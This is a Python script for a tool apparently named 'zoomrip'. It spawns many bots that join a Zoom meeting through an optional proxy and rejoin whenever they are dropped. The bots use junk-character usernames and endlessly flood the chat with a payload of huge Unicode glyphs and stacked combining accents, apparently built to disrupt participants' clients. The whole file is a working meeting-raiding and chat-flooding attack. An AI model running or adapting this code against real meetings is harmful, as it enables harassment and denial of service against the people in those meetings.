main.py

import gettext
import logging
import os
import re
import sys
from base64 import b64encode
from html import escape

import trio
from loguru import logger
from trio import ClosedResourceError
from trio_websocket import ConnectionClosed

from constants import url_re
from exceptions import WrongPasswordError
from zoom import Zoom

import socket
import socks

logging.disable(logging.CRITICAL)
logger.add("file_{time}.log", enqueue=True)

if sys.platform.startswith('win'):
    import locale
    if os.getenv('LANG') is None:
        lang, enc = locale.getdefaultlocale()
        os.environ['LANG'] = lang

gettext.install("zoomrip", "./locale")


# noinspection PyUnresolvedReferences
async def spam(meeting_id: int, password: str, username: str, message: str, url: str):
    """
    Спамит сообщениями в чат

    :param meeting_id: номер конференции
    :param password: пароль конференции
    :param username: ник бота
    :param message: сообщение
    :param url: ссылка на конференцию
    """
    zoom = Zoom(url, username)
    logger.debug(_("Joining meeting {meeting_id} with password {password}"), meeting_id=meeting_id, password=password)

    while True:
        try:
            meeting = await zoom.join_meeting(meeting_id, password)

            async with meeting as ws:
                logger.info(_("{username}: Started sending messages..."), username=username)
                while True:
                    try:
                        await ws.get_message()
                        text = b64encode(message.encode()).decode()
                        await ws.send_message(
                            zoom.create_payload(4135, {"text": text, "destNodeID": 0})
                        )
                    except WrongPasswordError:
                        logger.warning(_("Server: wrong password, ignoring..."))
                        continue
                    except (ClosedResourceError, ConnectionClosed, AttributeError):
                        logger.warning(_("Server closed connection, trying again..."))
                        await trio.sleep(3)
                        break
        except (ClosedResourceError, ConnectionClosed, AttributeError):
            logger.warning(_("Server closed connection, trying again..."))
            await trio.sleep(3)
            pass


async def main():
    proxy = input(_("Enter SOCKS5 proxy server (if you need one, ex. '127.0.0.1:9050'): ")).split(":")

    if len(proxy) > 1:
        pr_type = input(_("Enter a type of proxy ('4' - for SOCKS4, 'http' - for HTTP). Leave blank for SOCKS5: "))
        host, port = proxy
        if type == 'http':
            socks.set_default_proxy(socks.HTTP, host, int(port))
        elif type == '4':
            socks.set_default_proxy(socks.SOCKS4, host, int(port))
        else:
            socks.set_default_proxy(socks.SOCKS5, host, int(port))
        socket.socket = socks.socksocket

    url = input(_("Enter zoom meeting link: ")).strip()
    password = input(
        _("Enter a meeting password, if there is any and it's not specified in the url (or press Enter): ")
    ).strip()

    username = escape(">\"" * 40)

    bot_count = int(input(_("Enter the amount of bots: ")))
    message = "𒐫𪚥𒈙á́́́́́́́́́́́́́́́́́́́́́́́́́́́́́"
    message *= int(1024 / len(message))

    url_parsed = re.findall(url_re, url)
    if len(url_parsed) == 0:
        logger.error(_("Incorrect link!"))
        return

    meeting_id = url_parsed[0][1]
    if url_parsed[0][2] == "":
        password = password or ""
    else:
        password = url_parsed[0][3]

    async with trio.open_nursery() as nur:
        for i in range(1, bot_count + 1):
            nur.start_soon(
                spam, int(meeting_id), password, username + str(i), message, url
            )


trio.run(main)